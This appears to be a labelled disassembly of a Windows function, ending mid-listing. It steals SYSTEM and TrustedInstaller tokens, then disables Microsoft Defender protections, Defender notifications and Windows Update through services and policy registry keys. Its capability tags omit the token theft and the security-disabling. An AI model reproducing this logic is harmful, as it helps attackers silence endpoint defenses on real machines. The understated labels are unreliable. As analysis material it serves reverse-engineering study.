Function at 0x140001b00
Capabilities:
Enumerate processes
Get session user name
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x720
mov rax, qword [0x14003f0a0]
xor rax, rsp
mov qword [rsp + 0x710], rax
mov dword [rsp + 0x80], 0x100
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x510]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x140001b65
lea rdx, [rsp + 0x510]
lea rcx, str.Username:__s_n
call fcn.140001610
jmp 0x140001b79
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_username._Error_code:__d_n
call fcn.140001610
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x140001ba5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_service_manager._Error_code:__d_n
call fcn.140001610
jmp 0x140001c1f
mov r8d, 0x10
lea rdx, str.TrustedInstaller
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x140001bd9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_TrustedInstaller_service._Error_code:__d_n
call fcn.140001610
jmp 0x140001c16
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x140001c01
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_start_TrustedInstaller_service._Error_code:__d_n
call fcn.140001610
jmp 0x140001c0d
lea rcx, str.TrustedInstaller_service_started_successfully._n
call fcn.140001610
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor r14d, r14d
mov qword [rsp + 0x80], r14
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001c57
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_obtain_process_snapshot._Error_code:__d_n
call fcn.140001610
jmp 0x140001d66
mov dword [rsp + 0x90], 0x238
lea rdx, [rsp + 0x90]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001c90
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_the_first_process._Error_code:__d_n
call fcn.140001610
jmp 0x140001d5d
lea rsi, str.winlogon.exe
nop word [rax + rax]
lea rdx, [rsp + 0xbc]
mov rcx, 0xffffffffffffffff
nop
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rsi + rcx*2 + 2]
jne 0x140001cef
add rcx, 2
cmp rcx, 0xd
je 0x140001cd2
movzx eax, word [rdx + rcx*2]
cmp ax, word [rsi + rcx*2]
jne 0x140001cef
jmp 0x140001cb0
mov r8d, dword [rsp + 0x98]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001d06
lea rdx, [rsp + 0x90]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140001d5d
jmp 0x140001ca0
lea r8, [rsp + 0x80]
mov edx, 0xc
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001d54
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x140001d46
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_impersonate_SYSTEM_token._Error_code:__d_n
call fcn.140001610
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x80], r14
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001d9b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_obtain_process_snapshot._Error_code:__d_n
call fcn.140001610
jmp 0x140001ea6
mov dword [rsp + 0x2d0], 0x238
lea rdx, [rsp + 0x2d0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001dd4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_the_first_process._Error_code:__d_n
call fcn.140001610
jmp 0x140001e9d
lea rsi, str.TrustedInstaller.exe
nop dword [rax + rax]
lea rdx, [rsp + 0x2fc]
mov rcx, 0xffffffffffffffff
nop
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rsi + rcx*2 + 2]
jne 0x140001e2f
add rcx, 2
cmp rcx, 0x15
je 0x140001e12
movzx eax, word [rdx + rcx*2]
cmp ax, word [rsi + rcx*2]
jne 0x140001e2f
jmp 0x140001df0
mov r8d, dword [rsp + 0x2d8]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001e46
lea rdx, [rsp + 0x2d0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140001e9d
jmp 0x140001de0
lea r8, [rsp + 0x80]
mov edx, 0xc
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001e94
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x140001e86
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_impersonate_TrustedInstaller_token._Error_code:__d_n
call fcn.140001610
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.WinDefend
lea rcx, [rsp + 0x20]
call fcn.1400036d0
lea rcx, [rsp + 0x20]
call fcn.140001830
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140001f03
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001efe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000350e
call fcn.14000a4e0
lea rdx, str.wuauserv
lea rcx, [rsp + 0x20]
call fcn.1400036d0
lea rcx, [rsp + 0x20]
call fcn.140001830
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140001f60
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003514
call fcn.14000a4e0
lea rdx, str.WaaSMedicSvc
lea rcx, [rsp + 0x20]
call fcn.1400036d0
lea rcx, [rsp + 0x20]
call fcn.140001830
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140001fbd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001fb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000351a
call fcn.14000a4e0
lea rdx, str.UsoSvc
lea rcx, [rsp + 0x20]
call fcn.1400036d0
lea rcx, [rsp + 0x20]
call fcn.140001830
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x14000201a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002015
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003520
call fcn.14000a4e0
lea rdx, [0x1400389e8]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.TamperProtection
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderFeatures
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400020a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003526
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x1400020fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000352c
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140002153
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000214e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003532
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, [0x140038a80]
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x1400021e0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003538
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002236
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002231
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000353e
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x14000228c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002287
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003544
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.DisableBehaviorMonitoring
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140002319
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002314
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000354a
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000236f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000236a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003550
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x1400023c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003556
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.DisableIOAVProtection
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140002452
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000244d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000355c
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400024a8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003562
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x1400024fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003568
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.DisableOnAccessProtection
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x14000258b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002586
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000356e
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400025e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003574
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140002637
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002632
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000357a
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.DisableRealtimeMonitoring
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x1400026c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003580
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000271a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002715
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003586
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140002770
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000276b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000358c
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.DisableScanOnRealtimeEnable
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x1400027fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003592
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002853
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000284e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003598
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x1400028a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000359e
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.DisableNotifications
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender_Security_CenterNotifications
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140002936
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002931
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035a4
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000298c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002987
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035aa
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x1400029e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035b0
call fcn.14000a4e0
lea rdx, [0x140038d78]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.AUOptions
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140002a6f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035b6
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002ac5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ac0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035bc
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140002b1b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035c2
call fcn.14000a4e0
lea rdx, [0x1400389e8]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.AutoInstallMinorUpdates
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140002ba8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ba3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035c8
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002bfe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bf9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035ce
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140002c54
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035d4
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.NoAutoUpdate
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140002ce1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035da
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140002d37
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035e0
call fcn.14000a4e0
movdqa xmm0, xmmword [0x140039730]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140002d8d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d88
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035e6
call fcn.14000a4e0
lea rdx, [0x140038a7c]
lea rcx, [rsp + 0x60]
call fcn.1400036d0
nop
lea rdx, str.NoAutoRebootWithLoggedOnUsers
lea rcx, [rsp + 0x40]
call fcn.1400036d0
nop
lea rdx, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
lea rcx, [rsp + 0x20]
call fcn.1400036d0
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400019a0
nop
mov rdx, qword [rsp + 0x38]
